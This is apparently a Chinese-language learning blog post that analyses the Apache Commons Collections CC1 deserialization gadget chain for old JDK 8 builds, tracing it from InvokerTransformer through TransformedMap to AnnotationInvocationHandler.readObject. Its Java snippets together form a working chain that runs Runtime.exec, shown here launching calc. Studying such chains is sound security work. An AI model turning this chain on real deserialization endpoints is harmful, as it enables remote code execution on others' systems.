CC1-TransformedMap
我们所测试的jdk版本是8u71以前的版本,而此版本以后的jdk,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject函数
对于高版本的绕过,在CC6中实现
https://blog.huamang.xyz/post/cc1/
正向
这边是正着来走的,思路跟p神的
简单的demo
Transformer是一个接口,它只有transform方法,CC1利用的重点就是一堆实现了这个接口的类
package com.test.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//TransformedMap.decorate是静态方法
outerMap.put("test", "xxxx");
}
}
一步步来看
先来看下demo中用到的各种类
1、ConstantTransformer
这个类的transform方法很有特色,输入一个对象再返回这个对象,目前不知道有啥用
2、InvokerTransformer
其实CC1最终就是通过这个类rce的,写的跟后门似的,它的transform方法用反射拿到输入的对象的class然后执行传入的方法,那就找找其他有没有类继承了Transformer或者有transform方法的、并且可控性很高的
3、ChainedTransformer
类如其名,是一个链子,连接起来一堆Transformer类
它的构造器接受一个实现了Transformer接口的对象的数组, 它的 transform方法挨个遍历这些对象,感觉这里很巧妙的,就跟事先埋的后门一样
前文说到
那这里不就呼应上了?把它作为第一个对象传进这个链子Transformer(ChainedTransformer),那他执行自己的“变形”方法返回自己的对象,就会赋值给object,第二次循环这个object就可以完美的作为InvokerTransformer的“变形”方法的参数传进去,那么这个对象要是Runtime.getRuntime()不就rce了?
所以p神框框框写出了这些代码:
Transformer[] transformers = new Transformer[]{ //Transformer是一个接口
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
那么问题来了,咋调用transformerChain.transform呢?
害得继续找谁能调用ChainedTransformer的transform
就有了下面这几个代码
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
4、TransformedMap
原来这里还有两个神奇的方法
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
他们的执行模式是this.keyTransformer.transform(object);
和this.valueTransformer.transform(object);
很像我们的transformerChain.transform(transformers);
那就看keyTransformer、valueTransformer、object是否可控
去看看构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
wohuo,是protect,但是decorate方法可以调用构造方法,还是静态的,那么到这里我们知道:keyTransformer、valueTransformer、object可控
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
那么,是否可控的问题解决了,我们再来看咋调用这俩
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
于是找到了put方法(最简单直接的,实际CC1调用的第三个方法)
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
key = this.transformKey(key);
value = this.transformValue(value);
这俩其实都是调用,那么到这里就完美闭环了(demo的闭环)
萌新一定要自己走一遍debug
最后再贴一下demo
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, transformerChain, null);//第二个或者第三个参数都可以的,两个都填transformerChain甚至会弹俩计算器
outerMap.put("test", "xxxx");
}
}
CC1链-走出demo
前置
首先我们先岔开看一些必须知道的东西
去找TransformedMap的checkSetValue咋调用的
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
TransformedMap的继承关系是这样的,它的根父类是map
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator
public abstract class AbstractMapDecorator implements Map
Map->AbstractMapDecorator->AbstractInputCheckedMapDecorator->TransformedMap
TransformedMap的父类AbstractInputCheckedMapDecorator有这么个方法会调用checkSetValue
这里的this.parent传入的可以是TransformedMap,AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。(这里涉及一些多态的知识:在运行时,根据对象的实际类型来决定调用哪个方法。即使一个引用变量声明为父类类型,它也会调用子类中重写的方法。)
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
吃了java基础不牢的亏,感觉这里的this.parent很迷惑人啊
具体讲一下这里的多态:
AbstractInputCheckedMapDecorator
在 MapEntry
构造函数中,AbstractInputCheckedMapDecorator parent
是一个父类引用,它可以引用任何 AbstractInputCheckedMapDecorator
的子类实例,包括 TransformedMap
。
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
而这个构造方法是protected的,MapEntry是怎么实例化的呢?就看下面的分析吧
p神的demo距离成为一个真正的poc还有多远?
首先,我们触发TransformedMap的“变形”方法是我们自己手动的去put,从而间接去执行transformKey或transformValue
但是我们要研究的是反序列化链,就要找反序列化的时候自动触发的“put”
我们就得去找到一个类,他重写的
readObject
进行反序列化的时候会执行这样的写入操作,这个类就是sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler
8u71以前的代码才有这个洞,我们直奔他的readObject方法
下面是字节码反编译的
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
源码是这样的
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
注意里面有一句
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
,
memberValue
是一个 Map.Entry<String, Object>
类型的对象(下面写了构造方法,这个类我们是作为入口类,再反序列之前会进行序列化的,也就是我们在本地赋值这个memberValue)。这个 Map.Entry
对象表示一个键值对,其中键 (key
) 是 String
类型,值 (value
) 是 Object
类型。
这就和前面岔开的那部分最后的问题呼应上了,memberValue是一个map,AbstractInputCheckedMapDecorator的跟父类是map,这里的memberValue去执行setValue
方法,AbstractInputCheckedMapDecorator的setValue
长这样
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
那么this.parent如果是TransformedMap就打通了
补一下构造方法
反编译的:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
源码里的:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
memberValues
就是反序列化后得到的Map,也就是TransformedMap
对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们前面所展示的链子
Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
var5.setValue()
AnnotationInvocationHandler不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry
传给他即可
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cl = c.getDeclaredConstructor(Class.class,Map.class);
cl.setAccessible(true);
cl.newInstance(Override.class,transformedMap);
现在就很清楚了,==AnnotationInvocationHandler的构造方法接受两个参数,第一个是Annotation的子类,第二个是一个Map对象,这个Map对象后面会执行setvalue,很明显就是我们的transformedMap==
最后的问题
还有几个问题没有解决
-
而Runtime没有实现serializable接口,是不能被序列化的
-
AnnotationInvocationHandler的反序列化需要满足两个if才能进入memberValue.setValue
-
setValue
方法的参数貌似不可控?传啥Annotation的子类能让它正常执行memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
,
Runtime对象序列化
先解决第一个问题 如何让Runtime
对象可以序列化
因为Class类是可以反序列化的,所以只要让Runtime
为Class类并且调用其方法即可
//Runtime.getRuntime().exec("calc");
Class r = Runtime.class;
Method m = r.getMethod("getRuntime",null);
Runtime o = (Runtime) m.invoke(null,null); // 注意这里是getRuntime()的无参构造
Method m1 = r.getMethod("exec",String.class);
m1.invoke(o,"calc");
那第一个问题就解决了,那么接下来就是通过InvokerTransformer
的反射来吧这个反射重写一遍
我们之前是这样写的:new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
Class r = Runtime.class;
Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);
放到前面讲的“链子”类
Class r = Runtime.class;
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(r);
这就是构造好的序列化了Runtime的Transformer对象
怎么满足if
我们跟进去看如何去保证两个If语句都进入呢
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler
传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改
第二个if就直接过就行了
不可控?
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")
下面的分析会给出答案
调试
先看反序列化的前半部分
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
其实就一个var2 = AnnotationType.getInstance(this.type);
this.type是我们序列化构造的那个注解类型,这里getInstance
方法返回的是一个 AnnotationType
对象。
public static AnnotationType getInstance(Class<? extends Annotation> var0) {
JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();
AnnotationType var2 = var1.getAnnotationType(var0);
if (var2 == null) {
var2 = new AnnotationType(var0);
if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
var2 = var1.getAnnotationType(var0);
assert var2 != null;
}
}
return var2;
}
来到第一个if
if (var7 != null)
看看var3
这个方法的作用是返回一个 Map
对象,其中包含了注解成员的名称和类型。
private final Map<String, Class<?>> memberTypes;
public Map<String, Class<?>> memberTypes() {
return this.memberTypes;
}
把代码抽取出来或许好看点?这里应该就是涉及注解的知识了
var4
是一个 Iterator
对象,通常用于迭代 Map
(TransformedMap)的条目,var4.hasNext()这里是对我们构造的这里innerMap.put("value", "xxxx");
进行操作
var5使用next()
方法返回迭代器var4(TransformedMap)的下一个元素。
var6拿到我们构造的键 “value”,随后自有妙用
到了这一句Class var7 = (Class)var3.get(var6);
var3是这样的hashmap
var6是value
这不就呼应上了,第一个if·var7 != null
就进去了
第二个if
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))
-
var7
:var7
是一个Class
对象,代表了一个注解成员的类型。它是通过以下方式获取的:Class var7 = (Class) var3.get(var6);
其中
var3
是一个Map
,var6
是键,var7
是对应的值,即注解成员的类型。 -
var8
:var8
是一个对象,表示实际的成员值。 -
ExceptionProxy
:ExceptionProxy
是一个特殊的类,用于表示反序列化过程中类型不匹配的异常情况。
if
条件语句
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))
这个条件语句的含义是:
!var7.isInstance(var8)
:var7.isInstance(var8)
用于检查var8
是否是var7
类型的实例。如果var8
不是var7
类型的实例,则!var7.isInstance(var8)
为true
。
!(var8 instanceof ExceptionProxy)
:- 检查
var8
是否不是ExceptionProxy
的实例。如果var8
不是ExceptionProxy
,则!(var8 instanceof ExceptionProxy)
为true
。
- 检查
- 整体条件:
if
条件的整体为true
当且仅当var8
既不是var7
类型的实例,也不是ExceptionProxy
的实例。
到了最后一步
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
这里var5如下,继承关系上面讲过,它的子类就是TransformedMap
这里先看看var8.getClass() + "[" + var8 + "]"
是个啥
(Method)var2.members().get(var6)
不知道是什么东西
这里我本地写了下test
AnnotationType var2 = null;
var2 = AnnotationType.getInstance(Retention.class);
Iterator var4 = outerMap.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Object var8 = var5.getValue();
String var9 = var8.getClass() + "[" + var8 + "]";
System.out.println(var9);
Map<String, Method> var10 = var2.members();
Method var11 = (Method) var2.members().get(var6);
可以看到var2.members()是一个map,对这个map调用.get(var6)也就是.get(value),这里注解是有value方法的
这里其实可以把整个类拿出来看一下
class AnnotationTypeMismatchExceptionProxy extends ExceptionProxy {
private static final long serialVersionUID = 7844069490309503934L;
private Method member;
private String foundType;
AnnotationTypeMismatchExceptionProxy(String var1) {
this.foundType = var1;
}
AnnotationTypeMismatchExceptionProxy setMember(Method var1) {
this.member = var1;
return this;
}
protected RuntimeException generateException() {
return new AnnotationTypeMismatchException(this.member, this.foundType);
}
}
(new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))
这么一长串就是把String foundType设置成class java.lang.String[xxxx],把Method member设置成value()
然后把这个AnnotationTypeMismatchExceptionProxy带入var5.setValue
进入TransformedMap的checkSetValue
this.valueTransformer是transformerChain
跟进去
来到第一次循环,input还是那个传入的注解对象,但是返回的this.iConstant是我们老早就设定好的new ConstantTransformer(Runtime.class)
于是从(观察object的变化)
到
后面就是老早就构造好的那个执行链了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
所以或许可以说,var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
这里它setValue啥都没关系,要的是调用setValue这个动作,要执行的东西我们都提前构造好了
至此,CC1的这条链分析完毕
反向
这个思路是跟着https://space.bilibili.com/2142877265
step1 InvokerTransformer
从后往前看吧,CC1的挖掘者找到了一个可以任意执行代码的地方
invokerTransformer.transform
它的构造函数长这样
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
所以是这样用
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
再来看一下transform方法,输入一个对象,不为空的话就进行反射,拿到它的类和之前传参传入的方法,感觉像写的后门一样,然后invoke执行,就可以弹计算器了,接下来就是==往上找谁去能够调用transform
并且是可以传入可控的Object对象的==
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
第一步弹计算器的代码
package com.test.CC1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class main {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
step2 TransformedMap
作者就找到了org\apache\commons\collections\map\TransformedMap
类中的checkSetValue
方法是接收Object
对象并且调用了transform
方法,并且是protected
属性
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。
来看它的构造方法,发现是传入Map map, Transformer keyTransformer, Transformer valueTransformer
三个参数,并且把参数给到this.valueTransformer
但是这里由于是protected
属性,所以再去找一下是自己在哪里调用了自己
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
发现存在一个静态方法decorate
,也是传入三个参数直接传入到构造方法中
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
那么我们从上面的代码进行修改一下看能否调用
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(Runtime.getRuntime());
Runtime rt = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map,invokerTransformer,invokerTransformer);
可以正常传入值了,但是方法都是protect的没法调用
step3 AbstractInputCheckedMapDecorator
protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。 注意:不能修饰类(外部类)。
那我们就看看如何调用这个protected
属性的checkSetValue
于是作者找到了 commons-collections-3.2.1-sources.jar!\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java#setValue
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
这里要搞清楚这个类的逻辑,
==AbstractInputCheckedMapDecorator 这个类其实是TransformedMap的父类==,这点非常重要,这意味着TransformedMap继承了它的方法,我们直接调用TransformedMap就好了
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
并且这个setValue
方法是在一个静态类MapEntry
里头的
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
搞清楚逻辑后,其实这个MapEntry
就是遍历Map的键值对的一个静态类,在以下代码中就会触发他的方法(其实就是重写了Map#setvalue
方法)
MapEntry
类是一个装饰器类,继承自 AbstractMapEntryDecorator
。它用来装饰 Map.Entry
对象,添加额外的功能。在这个类中,setValue
方法会先通过 parent
对象的 checkSetValue
方法检查值,然后再调用原始 Map.Entry
对象的 setValue
方法。
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue("aaa");
}
只要去对这个键值对进行setValue
方法即可触发
继承关系:
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator
public abstract class AbstractMapDecorator implements Map
Map->AbstractMapDecorator->AbstractInputCheckedMapDecorator->TransformedMap
所以现在只要把我们的Runtime对象传入到value值即可触发任意方法调用
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
map.put("q","q");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);//transformedMap直接调用父类AbstractInputCheckedMapDecorator的entrySet方法
//entrySet会new一个这个类static class EntrySet extends AbstractSetDecorator
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
但是正常环境中,我们进行反序列化的时候如何触发字典的插入操作呢,我们就得去找到一个类,他重写的readObject
进行反序列化的时候会执行这样的写入操作,这个类就是sun.reflect.annotation.AnnotationInvocationHandler
step4 AnnotationInvocationHandler
作者就找到了jdk1.8.0_65\src\sun\reflect\annotation\AnnotationInvocationHandler.java
中的 readObject
方法是调用了setValue
,那么其实已经找到readObject
就非常好可以进行串联了
看readobject
下面是class反编译的代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
下面是源码
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心点在这:
memberValues
就是反序列化后得到的Map,也是经过了TransformedMap
修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们前面所展示的链子
Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue()
那我们来看一下他的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
也很简单,就是传一个注解和一个Map类,又因为他不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry
传给他即可
ps:非 public
类(即 protected
和包私有类)可以在其定义的包内被实例化。
但是这里仍然存在几个问题
Runtime
对象是不可以序列化的,需要用反射进行序列化setValue
方法的参数貌似不可控- 有两个if判断需要进去
先解决第一个问题 如何让Runtime
对象可以序列化
因为Class类是可以反序列化的,所以只要让Runtime
为Class类并且调用其方法即可
他是存在getRuntime
的静态方法的,所以可以直接调用
//Runtime.getRuntime().exec("calc");
Class r = Runtime.class;
Method m = r.getMethod("getRuntime",null);
Runtime o = (Runtime) m.invoke(null,null); // 注意这里是getRuntime()的无参构造
Method m1 = r.getMethod("exec",String.class);
m1.invoke(o,"calc");
那第一个问题就解决了,那么接下来就是通过InvokerTransformer
的反射来吧这个反射重写一遍
Class r = Runtime.class;
Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);
这样就写好了,但是可以发现这里是前一个接收的对象作为后一个transform方法的输入
所以作者又找到了一个类 ChainedTransformer
构造方法就是传一个Transformer
类的数组
然后这个类的transform
方法就会进行一个链式调用
那么我可以定义一个Transformer
的数组然后将InvokerTransformer
的发射链式调用写进去然后去触发其transform
方法即可
Class r = Runtime.class;
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(r);
那么现在就剩下两个问题了
我们跟进去看如何去保证两个If语句都进入呢
首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler
传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改
第二个if就直接过就行了,所以最后的问题就是这一句话
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")
那是不是这个传入的东西不可控了呢?
这里作者再次找到了一个实现类ConstantTransformer
他的transform
方法就是一句话 传入什么都返回常量,那我无所谓value的值,只需要在
那如果返回的常量是Runtime.class
就可以进行传入了
整条链子就结束了
我们来回顾一下这条链子,从正向调过去
反序列化#readObject->
AnnotationInvocationHandler#readObject(存在setValue)
MapEntry#setValue(存在checkSetValue)
transformedMap#checkSetValue(存在transform)
InvokerTransformer.transform(就可以调用任意方法执行任意操作)